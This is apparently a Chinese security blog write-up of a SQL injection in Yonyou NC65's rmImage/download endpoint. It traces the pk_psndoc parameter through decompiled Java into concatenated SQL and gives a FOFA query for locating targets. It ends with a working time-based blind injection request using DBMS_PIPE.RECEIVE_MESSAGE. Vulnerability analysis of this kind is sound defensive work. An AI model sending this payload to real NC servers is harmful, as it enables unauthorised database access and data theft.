用友NC rmImage/download sql注入漏洞


漏洞简介

用友NC系统可利用/portal/pt/rmImage/download接口中的 pk_psndoc 参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告可知SQL注入点在 rmImage 接口

因此搜索 rmImage 方法的实现部分即可定位文件

nc/bs/hrss/pub/action/RMImageAction.class

package nc.bs.hrss.pub.action;

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Image;
import java.awt.image.BufferedImage;
import java.awt.image.ImageObserver;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import javax.swing.ImageIcon;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.hrss.pub.ServiceLocator;
import nc.bs.hrss.pub.exception.HrssException;
import nc.bs.hrss.pub.tool.SessionUtil;
import nc.bs.logging.Logger;
import nc.itf.hi.IPsndocQryService;
import nc.itf.rm.IRMPsndocQueryService;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.vo.bd.pub.SexEnum;
import nc.vo.hi.psndoc.PsndocAggVO;
import nc.vo.hr.tools.formconfig.CodeGenUtils;
import nc.vo.pub.AggregatedValueObject;
import nc.vo.pub.BusinessException;
import nc.vo.rm.psndoc.AggRMPsndocVO;
import nc.vo.rm.psndoc.RMPsndocVO;
import org.apache.commons.io.IOUtils;
import uap.lfw.core.ml.LfwResBundle;

@Servlet(
    path = "/rmImage"
)
public class RMImageAction extends BaseAction {
    public RMImageAction() {
    }

    @Action
    public void download() {
        OutputStream out = null;

        try {
            byte[] pngBytes = null;
            byte[] pngBytesNew = null;
            Object photo = null;
            AggRMPsndocVO aggRMPsndocVO = null;
            FileInputStream fileInput = null;
            this.request.setCharacterEncoding("UTF-8");
            String pk_psndoc = this.request.getParameter("pk_psndoc");

            try {
                photo = SessionUtil.getAttribute("photo");
                AggregatedValueObject aggVO = this.queryAggRMPsndocVO(pk_psndoc);
                if (aggVO != null && aggVO instanceof AggRMPsndocVO) {
                    aggRMPsndocVO = (AggRMPsndocVO)aggVO;
                }

                if (photo == null) {
                    photo = aggRMPsndocVO == null ? null : ((RMPsndocVO)aggRMPsndocVO.getParentVO()).getPhoto();
                }

                if (photo != null) {
                    pngBytes = (byte[])photo;
                } else {
                    String photoFileName = "photo_defult_male.png";
                    if (SessionUtil.getSessionBean() != null || aggRMPsndocVO != null) {
                        if (null != aggRMPsndocVO && null != aggRMPsndocVO.getParentVO() && null != aggRMPsndocVO.getPsndocVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == aggRMPsndocVO.getPsndocVO().getSex()) {
                            photoFileName = "photo_defult_female.png";
                        }

                        if (aggRMPsndocVO == null) {
                            IPsndocQryService psndocQry = (IPsndocQryService)ServiceLocator.lookup(IPsndocQryService.class);
                            PsndocAggVO psndocAggVO = psndocQry.queryPsndocVOByPk(SessionUtil.getPk_psndoc(), false, true);
                            if (null != psndocAggVO && null != psndocAggVO.getParentVO() && null != psndocAggVO.getParentVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == psndocAggVO.getParentVO().getSex()) {
                                photoFileName = "photo_defult_female.png";
                            }
                        }
                    }

                    String strSrcDir = CodeGenUtils.buildFileURL(RuntimeEnv.getInstance().getNCHome(), new String[]{"hotwebs", "lfw", "frame", "device_pc", "themes", LfwRuntimeEnvironment.getThemeId(), "ext", "hrss", "pub", photoFileName});
                    File file = new File(strSrcDir);
                    fileInput = new FileInputStream(file);
                    pngBytes = new byte[fileInput.available()];
                    fileInput.read(pngBytes);
                }

                pngBytesNew = transPreviewPhoto(pngBytes, 150, 118);
                this.response.setContentType("image/png");
                out = this.response.getOutputStream();
                out.write(pngBytesNew);
                out.flush();
            } catch (HrssException ex) {
                Logger.error(ex.getMessage(), ex);
            } catch (BusinessException e) {
                (new HrssException(e)).alert();
            } finally {
                if (fileInput != null) {
                    fileInput.close();
                }

            }
        } catch (Exception e) {
            throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("c_pub-res", "0c_pub-res0051"), e);
        } finally {
            IOUtils.closeQuietly(out);
        }

    }

pk_psndoc 参数直接代入 queryAggRMPsndocVO 函数,其实现逻辑如下

private AggregatedValueObject queryAggRMPsndocVO(String pk_psndoc) {
    try {
        IRMPsndocQueryService psndocQryServ = (IRMPsndocQueryService)ServiceLocator.lookup(IRMPsndocQueryService.class);
        AggRMPsndocVO aggRMPsndocVO = psndocQryServ.queryByPK(pk_psndoc);
        return aggRMPsndocVO;
    } catch (BusinessException e) {
        (new HrssException(e)).deal();
    } catch (HrssException e) {
        (new HrssException(e)).alert();
    }

    return null;
}

继续代入 psndocQryServ.queryByPK 函数,其实现逻辑如下

public AggRMPsndocVO queryByPK(String pk_psndoc) throws BusinessException {
    return (AggRMPsndocVO)this.getServiceTemplate().queryByPk(AggRMPsndocVO.class, pk_psndoc);
}

继续跟踪 getServiceTemplate().queryByPk 函数,这里注意 传入的第三个参数为 false

public <T> T queryByPk(Class<T> clazz, String pk) throws BusinessException {
    return (T)this.queryByPk(clazz, pk, false);
}
public <T> T queryByPk(Class<T> clazz, String pk, boolean lazyLoad2) throws BusinessException {
    try {
        return (T)getMDQueryService().queryBillOfVOByPK(clazz, pk, lazyLoad2);
    } catch (MetaDataException e) {
        Logger.error(e.getMessage(), e);
        throw new BusinessException(ResHelper.getString("6001frame", "06001frame0153"), e);
    }
}

继续跟踪 getMDQueryService().queryBillOfVOByPK 函数

public <T> T queryBillOfVOByPK(Class<T> voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
    return (T)(new MDBaseDAO()).queryBillOfVOByPK(voClass, billPK, bLazyLoad);
}

pk_psndoc ==>pk ==>billPK 又代入 (new MDBaseDAO()).queryBillOfVOByPK 函数

public Object queryBillOfVOByPK(Class voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
    NCObject ncObj = (new VOQueryPersister(voClass.getName())).queryBillImp(billPK, bLazyLoad);
    if (ncObj == null) {
        return null;
    } else {
        return AggregatedValueObject.class.isAssignableFrom(voClass) ? ncObj.getContainmentObject() : ncObj.getModelConsistObject();
    }
}

billPK 继续代入 queryBillImp 函数

protected NCObject queryBillImp(String billPK, boolean bLazyLoad) throws MetaDataException {
    NCObject resNCObj = null;

    try {
        Object resVO = this.dao.retrieveByPK(billPK, this.ignoreDrEqual1);
        if (resVO == null) {
            return null;
        } else {
            resNCObj = NCObject.newInstance(this.relatedEntity, resVO);
            if (!bLazyLoad) {
                this.queryChildrenVOSByParentObjs(new NCObject[]{resNCObj}, bLazyLoad, (Map)null, (String)null);
            }

            return resNCObj;
        }
    } catch (Exception e) {
        Logger.error("fail to query data", e);
        throw new MetaDataException("operation failed** baseDao.retrieveByPK," + e.getMessage());
    }
}

继续跟踪 retrieveByPK 函数

public Object retrieveByPK(String pkValue, boolean ignoreDrEqual1) throws MetaDataException {
    if (this.metaCollection != null && this.metaCollection.size() != 0) {
        String whereConStr = "";
        whereConStr = (String)this.tableAliasMap.get(this.bean.getTable().getName()) + "." + this.bean.getTable().getPrimaryKeyName() + "='" + pkValue + "'";
        if (ignoreDrEqual1) {
            whereConStr = whereConStr + " and isnull(" + this.bean.getTable().getName() + ".dr,0)=0 ";
        }

        List<E> beanList = this.retrieveByClouse(whereConStr, (String[])null, false);
        return beanList != null && beanList.size() > 0 ? beanList.get(0) : null;
    } else {
        return null;
    }
}

public List<E> retrieveByClouse(String whereCondStr, String[] filtAttrNames, boolean ignoreDrEqual1) throws MetaDataException {
    String resultSql = this.generateSql(whereCondStr, filtAttrNames, (String)null, (String)null, ignoreDrEqual1);
    List<E> beanList = null;

    try {
        beanList = (List)(new BaseDAO()).executeQuery(resultSql, new BeanListFromColumnLableProcessor(Class.forName(this.bean.getFullClassName()), this.bean));
        return beanList;
    } catch (Exception e) {
        throw new MetaDataException(NCLangResOnserver.getInstance().getStrByID("mdbusi", "mdMultiTableDAO-0001") + resultSql + "####type:" + this.bean.getName() + "#$#$#" + e.getMessage(), e);
    }
}

至此,最终 pk_psndoc 参数拼接进SQL语句里,ignoreDrEqual1 在前面已经定义传入的为 false ,而 generateSql 函数的作用是组装SQL语句

最终调用 (new BaseDAO()).executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

可先通过如下请求来确定目标是否存在此接口及其响应,如果存在此模块,则会响应一个图片内容

GET /portal/pt/rmImage/download?pageId=login&pk_psndoc=1 HTTP/1.1
Host: nc65.mrxn.net

漏洞利用示例

GET /portal/pt/rmImage/download?pageId=login&pk_psndoc=1'+and+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',6)-- HTTP/1.1
HTTP/1.1
Host: nc65.mrxn.net

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=xxxxx.ncServer; Path=/portal/; HttpOnly
Content-Type: image/jpeg

xxxxJFIFxxC

参考

  • https://security.yonyou.com/#/noticeInfo?id=670

手机扫码阅读

IBOS企业协同管理软件 main/api/OrgUser SQL注入漏洞

用友NC deleteOftenMenu SQL注入漏洞

评 论